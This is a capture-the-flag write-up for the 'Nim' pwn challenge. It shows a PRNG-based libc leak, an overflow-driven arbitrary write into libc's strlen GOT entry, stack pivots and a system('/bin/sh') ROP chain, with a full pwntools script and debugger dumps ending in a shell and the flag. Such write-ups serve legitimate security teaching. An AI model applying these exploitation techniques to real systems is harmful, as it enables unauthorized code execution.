Nim

Let’s play a game!

This challenge is running on Ubuntu 20.04.

nc nim.hackable.software 1337

Attachment: nim libc.so xpl.py

Team: Super Guesser

This challenge was an implementation of the nim game. I joined quite late to the challenge, since I was busy with dragonbox and noflippidy. At that point n0psledbyte had already done most of the work on the challenge, but was stuck at exploiting it successfully.

Since he went to bed at some point, I digged through his findings and finished it up.

  • The game uses libc rand function as seed for its PRNG. Thus we can retrieve libc address by reversing the heap random states.
  • Playing the game had a stack overflow when defining size > 32, overwriting following addresses with the heap_sizes defined by the user.
  • He also mentioned a possible arbitrary write, when the current hiscore is written.

He had already done the PRNG reversing getting libc address and also provided a “solver”, by which we could just win the game anytime by predicting the heap sizes. I won’t go into much detail on this, since I just used his solver script.

But, let’s take a short look at the arbitrary write

play_game(p1_points, p1_score, p2_points, p2_score, p3_points, *(_DWORD *)(v3 + 32), 0x2710u, (unsigned int *)&HI_SCORE);

unsigned long play_game(long p1_score, unsigned int p1_points, long p2_score, unsigned int p2_points, long p3_score, unsigned int p3_points, unsigned int a7, unsigned int *record)
{
...
    if ( (int)current_score > current_record )
    {
        printf("[!] \"`-._,-'\"`-._,-' NEW ALL TIME RECORD: %d pts \"`-._,-'\"`-._,-'\n", v39);
        *record = current_score;
    }

What’s interesting here is the stack layout in this function call

-0000000000000092                 db ? ; undefined
-0000000000000091                 db ? ; undefined
-0000000000000090 s               dd 32 dup(?)
-0000000000000010 CANARY          dq ?
-0000000000000008                 db ? ; undefined
-0000000000000007                 db ? ; undefined
-0000000000000006                 db ? ; undefined
-0000000000000005                 db ? ; undefined
-0000000000000004                 db ? ; undefined
-0000000000000003                 db ? ; undefined
-0000000000000002                 db ? ; undefined
-0000000000000001                 db ? ; undefined
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
+0000000000000010 a7              dd ?
+0000000000000014                 db ? ; undefined
+0000000000000015                 db ? ; undefined
+0000000000000016                 db ? ; undefined
+0000000000000017                 db ? ; undefined
+0000000000000018 arg_record      dq ?                    ; offset

The record argument for play_game will be stored on the stack. This means, we could use the stack overflow when defining the heap sizes to put an arbitrary address into record, which would lead to an arbitrary 4 byte write

*record = score

The only downside here is, that above the record pointer, a canary is stored, which we would need to also overwrite in order to reach the record pointer. This puzzled us a lot, since, if we would know the canary, the arbitrary write would have been completely useless (we could have just put a rop chain there).

Because of this, I assumed, that the only useful thing would be, if we could use the arb write to corrupt something in the abort functionality, when the application tries to do __stack_chk_fail, so I went on debugging deeper into __stack_chk_fail.

This shows, that it wil call __libc_message in __fortify_fail to format the abort message, which will call strlen at some point. For this, libc will look it up from *ABS*@got.plt.

0x00007f1f06650287	93	in ../sysdeps/posix/libc_fatal.c
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x18              
$rbx   : 0x00007f1f0677a082  →  " ***: terminated\n"
$rcx   : 0x00007f1f0677a064  →  "stack smashing detected"
$rdx   : 0x00007ffda1313850  →  0x00007f1f0677a064  →  "stack smashing detected"
$rsp   : 0x00007ffda13137f0  →  0x00007f1f0677a07c  →  "*** %s ***: terminated\n"
$rbp   : 0x00007ffda13138a0  →  0x00007f1f0677a07c  →  "*** %s ***: terminated\n"
$rsi   : 0x25              
$rdi   : 0x00007f1f0677a064  →  "stack smashing detected"
$rip   : 0x00007f1f06650287  →  <__libc_message+311> call 0x7f1f065e5460 <*ABS*+0xa27b0@plt>
$r8    : 0x4               
$r9    : 0x49              
$r10   : 0x000055e22b46552b  →  " pts "`-._,-'"`-._,-'\n"
$r11   : 0x246             
$r12   : 0x00007ffda13137f0  →  0x00007f1f0677a07c  →  "*** %s ***: terminated\n"
$r13   : 0x25              
$r14   : 0x1               
$r15   : 0x1               
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7f1f06650279 <__libc_message+297> add    rbx, 0x2
   0x7f1f0665027d <__libc_message+301> mov    rdi, rcx
   0x7f1f06650280 <__libc_message+304> mov    QWORD PTR [rbp-0x88], rcx
 → 0x7f1f06650287 <__libc_message+311> call   0x7f1f065e5460 <*ABS*+0xa27b0@plt>
   ↳  0x7f1f065e5460 <*ABS*+0xa27b0@plt+0> endbr64 
      0x7f1f065e5464 <*ABS*+0xa27b0@plt+4> bnd    jmp QWORD PTR [rip+0x1c5c3d]        # 0x7f1f067ab0a8 <*ABS*@got.plt>
      0x7f1f065e546b <*ABS*+0xa27b0@plt+11> nop    DWORD PTR [rax+rax*1+0x0]
      0x7f1f065e5470 <*ABS*+0xa2280@plt+0> endbr64 
      0x7f1f065e5474 <*ABS*+0xa2280@plt+4> bnd    jmp QWORD PTR [rip+0x1c5c35]        # 0x7f1f067ab0b0 <*ABS*@got.plt>
      0x7f1f065e547b <*ABS*+0xa2280@plt+11> nop    DWORD PTR [rax+rax*1+0x0]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffda13137f0│+0x0000: 0x00007f1f0677a07c  →  "*** %s ***: terminated\n"	 ← $rsp, $r12
0x00007ffda13137f8│+0x0008: 0x0000000000000004
0x00007ffda1313800│+0x0010: 0x0000000000000000
0x00007ffda1313808│+0x0018: 0x00007f1f066501de  →  <__libc_message+142> movzx edx, BYTE PTR [rax]
0x00007ffda1313810│+0x0020: 0x00007ffda1313820  →  0x0000000000000018
0x00007ffda1313818│+0x0028: 0x00007f1f0677a064  →  "stack smashing detected"
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
*ABS*+0xa27b0@plt (
   $rdi = 0x00007f1f0677a064 → "stack smashing detected",
   $rsi = 0x0000000000000025,
   $rdx = 0x00007ffda1313850 → 0x00007f1f0677a064 → "stack smashing detected",
   $rcx = 0x00007f1f0677a064 → "stack smashing detected",
   $r8 = 0x0000000000000004
)
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

So, we can use the arbitrary write to overwrite the lower 4 bytes of 0x7f1f067ab0a8 <*ABS*@got.plt>, getting code execution for an arbitrary gadget in libc.

Finally getting somewhere.

gef➤  telescope $rsp
0x00007ffec488a828│+0x0000: 0x00007f1d5f17628c  →  0x49ffffff788d8b48	 ← $rsp
0x00007ffec488a830│+0x0008: 0x00007f1d5f2a007c  →  "*** %s ***: terminated\n"	 ← $r12
0x00007ffec488a838│+0x0010: 0x0000000000000004
0x00007ffec488a840│+0x0018: 0x0000000000000000
0x00007ffec488a848│+0x0020: 0x00007f1d5f1761de  →  0x800b74d28410b60f
0x00007ffec488a850│+0x0028: 0x00007ffec488a860  →  0x0000000000000018
0x00007ffec488a858│+0x0030: 0x00007f1d5f2a0064  →  "stack smashing detected"
0x00007ffec488a860│+0x0038: 0x0000000000000018

...

0x00007ffec488aac0│+0x0298: 0x006e7ffec488ac10
0x00007ffec488aac8│+0x02a0: 0x00007ffec488aad8  →  0x0000000000000000
0x00007ffec488aad0│+0x02a8: 0x0000000000000000
0x00007ffec488aad8│+0x02b0: 0x0000000000000000
0x00007ffec488aae0│+0x02b8: 0x00007ffec488aaf0  →  0x4141414141414141
0x00007ffec488aae8│+0x02c0: 0x2ef8fca25f16fd27
0x00007ffec488aaf0│+0x02c8: 0x4141414141414141  <= Username
0x00007ffec488aaf8│+0x02d0: 0x4141414141414141
0x00007ffec488ab00│+0x02d8: 0x00007f1d5f1f763c  →  0x801f0fc368c48348
0x00007ffec488ab08│+0x02e0: 0x0000000000000000
0x00007ffec488ab38│+0x0310: 0x20e43bca26fb0a5c
0x00007ffec488ab40│+0x0318: 0x1880e8c9105ed91c
0x00007ffec488ab48│+0x0320: 0x0000001000000010  <= user heap sizes
0x00007ffec488ab50│+0x0328: 0x0000001000000010
0x00007ffec488ab58│+0x0330: 0x0000001000000010
0x00007ffec488ab60│+0x0338: 0x0000001000000010

When checking the current stack layout, we can see that rsp points to Username-0x2c8 (and also our heap sizes will be after that), so we could try to pivot the stack there.

Let’s start with calculating libc base by playing the game and reversing the PRNG. Since Rd had already done this, I just took his code for this:

#!/usr/bin/python
from pwn import *
import sys

LOCAL = True

HOST = "nim.hackable.software"
PORT = 1337
PROCESS = "./nim"

const1 = 0x7CC216571FEE6FB
const2 = 0xFFFFFFFFFFFFFA3
const3 = 0x7FFFFFFF

seed = 0x7fab61836e90

def reverse(x, y, z):
	return x*y % z

def drand():
	global seed
	v1 = seed
	seed = reverse(seed, const1, const2)
	return v1 & const3

def brute(state, next_state):
	global seed
	i = 0xf000
	while 1:
		brute_state = i<<31|state
		seed = brute_state
		drand()
		if seed&const3 == next_state:
			return brute_state
		i += 0x1

def findLoser(A):
	n = len(A)
	res = 0
	for i in range(n):
		res ^= A[i]

	# case when Alice is winner
	if (res == 0 or n % 2 == 0):
		return "Me"
	# when Bob is winner
	else:
		return "Computer"

def nim_next(heaps):
	nim = 0

	# Calculate nim sum for all elements in the objectList
	for i in heaps:
		nim = nim ^ i
	if nim:
		for i in range(len(heaps)):
			vv = nim^heaps[i];
			if(vv<heaps[i]):
				return i, (heaps[i]-vv)
	else:
		for i in range(len(heaps)):
			if heaps[i] != 0:
				return i, heaps[i]

def win(value):
	num_heaps = 9
	play(value, num_heaps)

	predict = [drand() for i in range(int(num_heaps/2))]
	predict[-1] = predict[-1]^3
	predict.append(3)

	for i in range(len(predict)):
		r.sendlineafter(": ", str(predict[i]))

	last = 0
	while last == 0:
		r.recvuntil(b"heaps is: ")
		heap_state = eval(str(r.recvuntil("]")))
		
		if heap_state.count(0) == num_heaps-1:
			last = 1
		
		idx, val = nim_next(heap_state)

		r.sendlineafter(": ", str(idx+1))
		r.sendlineafter(": ", str(val))

def play(bet, num_heaps):
	r.sendlineafter("? ", str(bet))
	r.sendlineafter("? ", str(num_heaps))

def exploit(r):
	log.info("Start playing game")
	r.sendlineafter("Choice:", "P")

	# send username
	r.sendlineafter("? ", "A"*31)

	num_heaps = 8
	play(100, num_heaps)
	r.recvuntil("Dealer has decided the sizes of heaps 1 - 4, now specify yours")

	for i in range(int(num_heaps/2 + 0.5)):
		r.sendlineafter(": ", str(i+1))

	r.recvuntil("taken ")
	stones_taken = int(str(r.recvuntil(" ")))
	r.recvuntil("from heap ")
	
	taken_idx = int(str(r.recvuntil(".", drop=True))) -1

	r.recvuntil("heaps is: ")
	heap_state = eval(str(r.recvuntil("]")))

	heap_state[taken_idx] += stones_taken

	rand_addr = brute(heap_state[0], heap_state[1])
	seed = rand_addr
	libc.address = rand_addr - libc.symbols["rand"]
	
	log.info("LIBC leak : %s" % hex(rand_addr))	
	log.info("LIBC      : %s" % hex(libc.address))

	r.sendlineafter(": ", "0")

	for i in range(4):
		drand()

	r.interactive()
	
	return

if __name__ == "__main__":
	# e = ELF("./nim")
	libc = ELF("./libc.so")

	if len(sys.argv) > 1:
		LOCAL = False
		r = remote(HOST, PORT)		
	else:
		LOCAL = True
		r = process("./nim")
		print (util.proc.pidof(r))
		pause()
	
	exploit(r)
$ python work.py 
[*] '/media/sf_ctf/dragon21/nim/libc.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './nim': pid 2242
[2242]
[*] Paused (press any to continue)
[*] Start playing game
[*] LIBC leak : 0x7f3c2c62ee90
[*] LIBC      : 0x7f3c2c5e4000
[*] Switching to interactive mode

[?] Choose a heap (0 to resign): $

Having a leak to libc, we can now think on how to get code execution. As mentioned above, when strlen will be called from __libc_message the stack will point to username-0x2c8, so we would want to pivot the stack into something controllable.

Checking the available libc gadgets:

0x0000000000089d27: add rsp, 0x2c0; pop rbp; pop r12; pop r13; ret;

This would pivot the stack into the last qword from username. Constraints for one_gadget don’t seem satisfiable at that point, so we will just put another stack pivot gadget into our username

0x000000000011163c: add rsp, 0x68; ret;

This would then pivot the stack into our heap size definitions. So, before doing the overflow, we would put a system("/bin/sh") ropchain there, just waiting to get executed :)

So, the attack plan would be as follow

  • Put add rsp, 0x68 gadget into username
  • Prepare ropchain in game heap sizes
  • Use record arb write to write add rsp, 0x2c8... gadget into strlen libc got

Putting the gadget into the username is trivial

log.info("Put stack pivot gadget into username")

# 0x000000000011163c: add rsp, 0x68; ret; 
ADDRSP68 = libc.address + 0x11163c

r.sendlineafter("[y/n]", "n")       # quit game
r.sendlineafter(": ", "p")          # start new game

payload = "A"*16
payload += p64(ADDRSP68)

r.sendlineafter("? ", payload)

Now, we have to prepare our current game score for writing the stack pivot gadget later on into strlen libc got.

# 0x0000000000089d27: add rsp, 0x2c0; pop rbp; pop r12; pop r13; ret;
ADDRSP2D8 = libc.address + 0x89d27

score = 10000	
target = (ADDRSP2D8) & 0xffffffff

log.info("Target: %s" % hex(target))

while(score < target - score):
	log.info("Score: %s" % hex(score))			
	win(score)		
	score += score
	r.sendlineafter("? ", "y")		
	
log.info("Win last game for exact score")	
win(target-score+10)		# 10 will be used up in last game

Target score will be lower 4 bytes of the gadget and we’ll just have to continue playing until our score matches target+10 (because we will do a last game losing 10 credits for putting our ropchain on the stack).

Having prepared the arb write, we can now put our ropchain on the stack by setting heap sizes alternating to higher or lower 4 bytes of the ropchain gadgets.

log.info("Put ropchain on stack")	
r.sendlineafter("? ", "y")
num_heaps = 44
play(10, num_heaps)
	
POPRDI = libc.address + 0x26b72
ABSGOT = libc.address + 0x1eb0a8

payload = p64(libc.address + 0x1e0000)
payload += p64(POPRDI)		
payload += p64(next(libc.search(b"/bin/sh")))
payload += p64(libc.symbols["system"])
payload += p64(ABSGOT) * 10
	
for i in range(int(abs(num_heaps/4))):
	sys.stdout.write(".")
	target = u64(payload[i*8:(i+1)*8])

	p1 = (target) & 0xffffffff
	p2 = (target) >> 32		

	r.sendlineafter(": ", str(p1))
	r.sendlineafter(": ", str(p2))

At this point it gets a bit tricky. If you have ASLR disabled for debugging the exploit, it will always fail, since the score will be checked as signed integer and playing this way with disabled ASLR will always result in a negative score, thus exitting early.

Having ASLR enabled on the other hand, the probability of having a non negative score is quite high.

When we now resign after having prepared the ropchain, the arbitrary write will happen

0x000055c6834980cc in ?? ()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x4a              
$rbx   : 0x721346e3e0248000
$rcx   : 0x50b4dd27        
$rdx   : 0x00007f8950caf0a8  →  0x00007f8950c4f660  →  <__strlen_avx2+0> endbr64 
$rsp   : 0x00007ffceb247860  →  0x000055c684db2f08  →  0x000055c684db2f18  →  0x0000006563696c00
$rbp   : 0x00007ffceb247ae0  →  0x00007f8950caf0a8  →  0x00007f8950c4f660  →  <__strlen_avx2+0> endbr64 
$rsi   : 0x00007ffceb2451c0  →  "[!] "`-._,-'"`-._,-' NEW ALL TIME RECORD: 13540303[...]"
$rdi   : 0x00007f8950cb24c0  →  0x0000000000000000
$rip   : 0x000055c6834980cc  →   mov DWORD PTR [rdx], ecx
$r8    : 0x4a              
$r9    : 0x4a              
$r10   : 0x000055c68349c52b  →  " pts "`-._,-'"`-._,-'\n"
$r11   : 0x246             
$r12   : 0x000055c683497220  →   endbr64 
$r13   : 0x00007ffceb247c40  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x55c6834980bd                  call   0x55c683497030 <printf@plt>
   0x55c6834980c2                  mov    ecx, DWORD PTR [rbp-0xf4]
   0x55c6834980c8                  mov    rdx, QWORD PTR [rbp+0x18]
 → 0x55c6834980cc                  mov    DWORD PTR [rdx], ecx
   0x55c6834980ce                  mov    rax, QWORD PTR fs:0x28
   0x55c6834980d7                  mov    rcx, QWORD PTR [rbp-0x10]
   0x55c6834980db                  cmp    rax, rcx
   0x55c6834980de                  jne    0x55c6834980fa
   0x55c6834980e4                  add    rsp, 0x278
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffceb247860│+0x0000: 0x000055c684db2f08  →  0x000055c684db2f18  →  0x0000006563696c00	 ← $rsp
0x00007ffceb247868│+0x0008: 0x000055c684db40c0  →  0x000055c684db4000  →  0x4141414141414141
0x00007ffceb247870│+0x0010: 0x00007ffceb247a08  →  0x00007ffceb247a18  →  0x0000000000000000
0x00007ffceb247878│+0x0018: 0x50b4dd2783499914
0x00007ffceb247880│+0x0020: 0x0000003700000001
0x00007ffceb247888│+0x0028: 0x0000003884db2fb8

We’ll now be overwriting the lower 4 bytes of strlen got with the value from rcx (0x50b4dd27), so strlen got will now point to the first stack pivot gadget.

gef➤  x/10i 0x00007f8950b4dd27
   0x7f8950b4dd27 <__swscanf+295>:	add    rsp,0x2c0
   0x7f8950b4dd2e <__swscanf+302>:	pop    rbp
   0x7f8950b4dd2f <__swscanf+303>:	pop    r12
   0x7f8950b4dd31 <__swscanf+305>:	pop    r13
   0x7f8950b4dd33 <__swscanf+307>:	ret

Now, canary check will fail and __stack_chk_fail will get executed (=> __GI___fortify_fail => __libc_message => strlen)

0x55c6834980ed                  ret    
   0x55c6834980ee                  mov    rdi, QWORD PTR [rbp-0x190]
   0x55c6834980f5                  call   0x55c6834971a0 <_Unwind_Resume@plt>
 → 0x55c6834980fa                  call   0x55c683497100 <__stack_chk_fail@plt>
   ↳  0x55c683497100 <__stack_chk_fail@plt+0> jmp    QWORD PTR [rip+0x8e6a]        # 0x55c68349ff70 <__stack_chk_fail@got.plt>
      0x55c683497106 <__stack_chk_fail@plt+6> push   0xd
      0x55c68349710b <__stack_chk_fail@plt+11> jmp    0x55c683497020
      0x55c683497110 <__isoc99_scanf@plt+0> jmp    QWORD PTR [rip+0x8e62]        # 0x55c68349ff78 <__isoc99_scanf@got.plt>
      0x55c683497116 <__isoc99_scanf@plt+6> push   0xe
      0x55c68349711b <__isoc99_scanf@plt+11> jmp    0x55c683497020
	
...

   0x7f8950bf6b05 <__stack_chk_fail+5> pop    rax
   0x7f8950bf6b06 <__stack_chk_fail+6> lea    rdi, [rip+0x87557]        # 0x7f8950c7e064
   0x7f8950bf6b0d <__stack_chk_fail+13> sub    rsp, 0x8
 → 0x7f8950bf6b11 <__stack_chk_fail+17> call   0x7f8950bf6b20 <__GI___fortify_fail>

...

   0x7f8950bf6b3b <__fortify_fail+27> mov    rsi, rbp
   0x7f8950bf6b3e <__fortify_fail+30> mov    edi, 0x1
   0x7f8950bf6b43 <__fortify_fail+35> xor    eax, eax
 → 0x7f8950bf6b45 <__fortify_fail+37> call   0x7f8950b54150 <__libc_message>

...

   0x7f8950b54279 <__libc_message+297> add    rbx, 0x2
   0x7f8950b5427d <__libc_message+301> mov    rdi, rcx
   0x7f8950b54280 <__libc_message+304> mov    QWORD PTR [rbp-0x88], rcx
 → 0x7f8950b54287 <__libc_message+311> call   0x7f8950ae9460 <*ABS*+0xa27b0@plt>
   ↳  0x7f8950ae9460 <*ABS*+0xa27b0@plt+0> endbr64 
      0x7f8950ae9464 <*ABS*+0xa27b0@plt+4> bnd    jmp QWORD PTR [rip+0x1c5c3d]        # 0x7f8950caf0a8 <*ABS*@got.plt>

...

────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x18              
$rbx   : 0x00007f8950c7e082  →  " ***: terminated\n"
$rcx   : 0x00007f8950c7e064  →  "stack smashing detected"
$rdx   : 0x00007ffceb2477d0  →  0x00007f8950c7e064  →  "stack smashing detected"
$rsp   : 0x00007ffceb247768  →  0x00007f8950b5428c  →  <__libc_message+316> mov rcx, QWORD PTR [rbp-0x88]
$rbp   : 0x00007ffceb247820  →  0x00007f8950c7e07c  →  "*** %s ***: terminated\n"
$rsi   : 0x25              
$rdi   : 0x00007f8950c7e064  →  "stack smashing detected"
$rip   : 0x00007f8950b4dd27  →  <swscanf+295> add rsp, 0x2c0
$r8    : 0x4               
$r9    : 0x4a              
$r10   : 0x000055c68349c52b  →  " pts "`-._,-'"`-._,-'\n"
$r11   : 0x246             
$r12   : 0x00007ffceb247770  →  0x00007f8950c7e07c  →  "*** %s ***: terminated\n"
$r13   : 0x25              
$r14   : 0x1               
$r15   : 0x1               
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7f8950b4dd14 <swscanf+276>    mov    rdx, QWORD PTR [rsp+0x208]
   0x7f8950b4dd1c <swscanf+284>    xor    rdx, QWORD PTR fs:0x28
   0x7f8950b4dd25 <swscanf+293>    jne    0x7f8950b4dd34 <__swscanf+308>
 → 0x7f8950b4dd27 <swscanf+295>    add    rsp, 0x2c0
   0x7f8950b4dd2e <swscanf+302>    pop    rbp
   0x7f8950b4dd2f <swscanf+303>    pop    r12
   0x7f8950b4dd31 <swscanf+305>    pop    r13
   0x7f8950b4dd33 <swscanf+307>    ret    
   0x7f8950b4dd34 <swscanf+308>    call   0x7f8950bf6b00 <__stack_chk_fail>
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffceb247768│+0x0000: 0x00007f8950b5428c  →  <__libc_message+316> mov rcx, QWORD PTR [rbp-0x88]	 ← $rsp
0x00007ffceb247770│+0x0008: 0x00007f8950c7e07c  →  "*** %s ***: terminated\n"	 ← $r12
0x00007ffceb247778│+0x0010: 0x0000000000000004
0x00007ffceb247780│+0x0018: 0x0000000000000000
0x00007ffceb247788│+0x0020: 0x00007f8950b541de  →  <__libc_message+142> movzx edx, BYTE PTR [rax]
0x00007ffceb247790│+0x0028: 0x00007ffceb2477a0  →  0x0000000000000018
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Executing our first stack pivot gadget.

0x00007f8950b4dd33	41	in swscanf.c
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x18              
$rbx   : 0x00007f8950c7e082  →  " ***: terminated\n"
$rcx   : 0x00007f8950c7e064  →  "stack smashing detected"
$rdx   : 0x00007ffceb2477d0  →  0x00007f8950c7e064  →  "stack smashing detected"
$rsp   : 0x00007ffceb247a40  →  0x00007f8950bd563c  →  <fcntl64+92> add rsp, 0x68
$rbp   : 0x721346e350b4dd27
$rsi   : 0x25              
$rdi   : 0x00007f8950c7e064  →  "stack smashing detected"
$rip   : 0x00007f8950b4dd33  →  <swscanf+307> ret 
$r8    : 0x4               
$r9    : 0x4a              
$r10   : 0x000055c68349c52b  →  " pts "`-._,-'"`-._,-'\n"
$r11   : 0x246             
$r12   : 0x4141414141414141 ("AAAAAAAA"?)
$r13   : 0x4141414141414141 ("AAAAAAAA"?)
$r14   : 0x1               
$r15   : 0x1               
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7f8950b4dd2e <swscanf+302>    pop    rbp
   0x7f8950b4dd2f <swscanf+303>    pop    r12
   0x7f8950b4dd31 <swscanf+305>    pop    r13
 → 0x7f8950b4dd33 <swscanf+307>    ret    
   ↳  0x7f8950bd563c <fcntl64+92>     add    rsp, 0x68
      0x7f8950bd5640 <fcntl64+96>     ret    
      0x7f8950bd5641 <fcntl64+97>     nop    DWORD PTR [rax+0x0]
      0x7f8950bd5648 <fcntl64+104>    mov    eax, DWORD PTR fs:0x18
      0x7f8950bd5650 <fcntl64+112>    test   eax, eax
      0x7f8950bd5652 <fcntl64+114>    jne    0x7f8950bd5680 <__GI___libc_fcntl64+160>
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffceb247a40│+0x0000: 0x00007f8950bd563c  →  <fcntl64+92> add rsp, 0x68	 ← $rsp
0x00007ffceb247a48│+0x0008: 0x0000000000000000
0x00007ffceb247a50│+0x0010: 0x11d3e4524d309a35
0x00007ffceb247a58│+0x0018: 0x11686a154aedf372
0x00007ffceb247a60│+0x0020: 0x57c3be454d469efd
0x00007ffceb247a68│+0x0028: 0x01aa71650967204d
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

After this, it lands in the second stack pivot gadget, which we prepared in the username (0x00007ffceb247a40).

0x00007f8950bd5640	51	in ../sysdeps/unix/sysv/linux/fcntl64.c
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x18              
$rbx   : 0x00007f8950c7e082  →  " ***: terminated\n"
$rcx   : 0x00007f8950c7e064  →  "stack smashing detected"
$rdx   : 0x00007ffceb2477d0  →  0x00007f8950c7e064  →  "stack smashing detected"
$rsp   : 0x00007ffceb247ab0  →  0x00007f8950aeab72  →  <init_cacheinfo+242> pop rdi
$rbp   : 0x721346e350b4dd27
$rsi   : 0x25              
$rdi   : 0x00007f8950c7e064  →  "stack smashing detected"
$rip   : 0x00007f8950bd5640  →  <fcntl64+96> ret 
$r8    : 0x4               
$r9    : 0x4a              
$r10   : 0x000055c68349c52b  →  " pts "`-._,-'"`-._,-'\n"
$r11   : 0x246             
$r12   : 0x4141414141414141 ("AAAAAAAA"?)
$r13   : 0x4141414141414141 ("AAAAAAAA"?)
$r14   : 0x1               
$r15   : 0x1               
$eflags: [zero carry parity ADJUST sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7f8950bd562d <fcntl64+77>     xor    rcx, QWORD PTR fs:0x28
   0x7f8950bd5636 <fcntl64+86>     jne    0x7f8950bd56d5 <__GI___libc_fcntl64+245>
   0x7f8950bd563c <fcntl64+92>     add    rsp, 0x68
 → 0x7f8950bd5640 <fcntl64+96>     ret    
   ↳  0x7f8950aeab72 <init_cacheinfo+242> pop    rdi
      0x7f8950aeab73 <init_cacheinfo+243> ret    
      0x7f8950aeab74 <init_cacheinfo+244> xor    edi, edi
      0x7f8950aeab76 <init_cacheinfo+246> test   r14, r14
      0x7f8950aeab79 <init_cacheinfo+249> jne    0x7f8950aeab07 <init_cacheinfo+135>
      0x7f8950aeab7b <init_cacheinfo+251> jmp    0x7f8950aeab3a <init_cacheinfo+186>
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffceb247ab0│+0x0000: 0x00007f8950aeab72  →  <init_cacheinfo+242> pop rdi	 ← $rsp
0x00007ffceb247ab8│+0x0008: 0x00007f8950c7b5aa  →  0x0068732f6e69622f ("/bin/sh"?)
0x00007ffceb247ac0│+0x0010: 0x00007f8950b19410  →  <system+0> endbr64 
0x00007ffceb247ac8│+0x0018: 0x00007f8950caf0a8  →  0x00007f8950b4dd27  →  <swscanf+295> add rsp, 0x2c0
0x00007ffceb247ad0│+0x0020: 0x00007f8950caf0a8  →  0x00007f8950b4dd27  →  <swscanf+295> add rsp, 0x2c0
0x00007ffceb247ad8│+0x0028: 0x00007f8950caf0a8  →  0x00007f8950b4dd27  →  <swscanf+295> add rsp, 0x2c0
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

which then pivots into our system("/bin/sh") ropchain.

$ python xpl.py 1
[*] '/media/sf_ctf/dragon21/nim/libc.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to nim.hackable.software on port 1337: Done
[*] Start playing game
[*] LIBC leak : 0x7fa6333ebe90
[*] LIBC      : 0x7fa6333a1000
[*] Put stack pivot gadget into username
[*] Win games until score matches target
[*] Target: 0x3342ad27
[*] Score: 0x2710
[*] Score: 0x4e20
[*] Score: 0x9c40
[*] Score: 0x13880
[*] Score: 0x27100
[*] Score: 0x4e200
[*] Score: 0x9c400
[*] Score: 0x138800
[*] Score: 0x271000
[*] Score: 0x4e2000
[*] Score: 0x9c4000
[*] Score: 0x1388000
[*] Score: 0x2710000
[*] Score: 0x4e20000
[*] Score: 0x9c40000
[*] Score: 0x13880000
[*] Win last game for exact score
[*] Put ropchain on stack
...........[*] Switching to interactive mode
[!] "`-._,-'"`-._,-' NEW ALL TIME RECORD: 860007719 pts "`-._,-'"`-._,-'
$ ls
flag.txt
nim
$ cat flag.txt
DrgnS{St4ck_b0f_still_expl0itable_in_2021}